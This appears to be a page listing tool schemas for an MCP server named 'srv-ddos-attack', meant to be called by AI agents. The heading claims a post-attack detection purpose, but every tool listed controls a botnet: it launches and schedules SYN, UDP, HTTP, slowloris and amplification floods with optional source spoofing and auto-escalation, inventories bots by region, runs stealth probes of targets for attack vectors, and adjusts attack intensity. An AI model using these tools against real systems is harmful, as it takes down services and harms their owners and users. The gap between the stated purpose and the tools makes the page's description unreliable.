To detect and raise high priority issues post a ddos attack
/api/mcp/srv-ddos-attackMCP enable + token are only for calling from an external client — the playground below needs neither.
Get detailed metrics and logs for a specific attack campaign by attack ID
{
"type": "object",
"required": [
"attack_id"
],
"properties": {
"attack_id": {
"type": "string"
},
"include_bot_logs": {
"type": "boolean",
"default": false
},
"metrics_interval": {
"enum": [
"1m",
"5m",
"15m",
"1h"
],
"type": "string",
"default": "5m"
}
}
}Retrieve health and connectivity status for individual bots within a botnet
{
"type": "object",
"required": [],
"properties": {
"bot_id": {
"type": "string"
},
"botnet_id": {
"type": "string"
},
"status_filter": {
"enum": [
"online",
"offline",
"error",
"rate_limited"
],
"type": "string"
},
"last_seen_hours": {
"type": "integer",
"maximum": 168,
"minimum": 1
}
}
}Initiate a distributed denial of service attack against specified targets using configured botnet resources
{
"type": "object",
"required": [
"target_ip",
"attack_type",
"duration_seconds",
"intensity"
],
"properties": {
"botnet_id": {
"type": "string"
},
"intensity": {
"enum": [
"low",
"medium",
"high",
"maximum"
],
"type": "string"
},
"target_ip": {
"type": "string",
"format": "ipv4"
},
"attack_type": {
"enum": [
"syn_flood",
"udp_flood",
"http_flood",
"slowloris",
"dns_amplification",
"ntp_amplification"
],
"type": "string"
},
"target_port": {
"type": "integer",
"maximum": 65535,
"minimum": 1
},
"source_spoofing": {
"type": "boolean",
"default": false
},
"duration_seconds": {
"type": "integer",
"maximum": 3600,
"minimum": 1
}
}
}Retrieve currently running attack campaigns with status and performance metrics
{
"type": "object",
"required": [],
"properties": {
"limit": {
"type": "integer",
"default": 50
},
"status": {
"enum": [
"launching",
"active",
"ramping_down",
"completed",
"failed"
],
"type": "string"
},
"botnet_id": {
"type": "string"
},
"target_filter": {
"type": "string"
}
}
}Enumerate available botnet resources with bot counts and geographic distribution
{
"type": "object",
"required": [],
"properties": {
"region": {
"enum": [
"north_america",
"europe",
"asia_pacific",
"south_america",
"africa"
],
"type": "string"
},
"status": {
"enum": [
"online",
"offline",
"maintenance",
"compromised"
],
"type": "string"
},
"bot_type": {
"enum": [
"residential",
"datacenter",
"mobile",
"iot"
],
"type": "string"
},
"min_bot_count": {
"type": "integer",
"minimum": 1
}
}
}Queue a future attack campaign with specified timing and escalation parameters
{
"type": "object",
"required": [
"target_ip",
"attack_type",
"scheduled_time",
"duration_seconds",
"intensity"
],
"properties": {
"botnet_id": {
"type": "string"
},
"intensity": {
"enum": [
"low",
"medium",
"high",
"maximum"
],
"type": "string"
},
"target_ip": {
"type": "string",
"format": "ipv4"
},
"attack_type": {
"enum": [
"syn_flood",
"udp_flood",
"http_flood",
"slowloris",
"dns_amplification",
"ntp_amplification"
],
"type": "string"
},
"auto_escalate": {
"type": "boolean",
"default": false
},
"scheduled_time": {
"type": "string",
"format": "date-time"
},
"duration_seconds": {
"type": "integer",
"maximum": 3600,
"minimum": 1
}
}
}Terminate an active attack campaign and instruct bots to cease traffic generation
{
"type": "object",
"required": [
"attack_id"
],
"properties": {
"attack_id": {
"type": "string"
},
"graceful_shutdown": {
"type": "boolean",
"default": true
}
}
}Probe target infrastructure to assess DDoS vulnerability and optimal attack vectors
{
"type": "object",
"required": [],
"properties": {
"target_ip": {
"type": "string",
"format": "ipv4"
},
"scan_depth": {
"enum": [
"basic",
"comprehensive",
"stealth"
],
"type": "string"
},
"target_domain": {
"type": "string"
},
"check_amplification": {
"type": "boolean",
"default": true
}
}
}Dynamically adjust traffic generation rate and bot participation for running attack
{
"type": "object",
"required": [
"attack_id",
"new_intensity"
],
"properties": {
"attack_id": {
"type": "string"
},
"new_intensity": {
"enum": [
"low",
"medium",
"high",
"maximum"
],
"type": "string"
},
"ramp_duration_seconds": {
"type": "integer",
"default": 30,
"maximum": 300,
"minimum": 1
}
}
}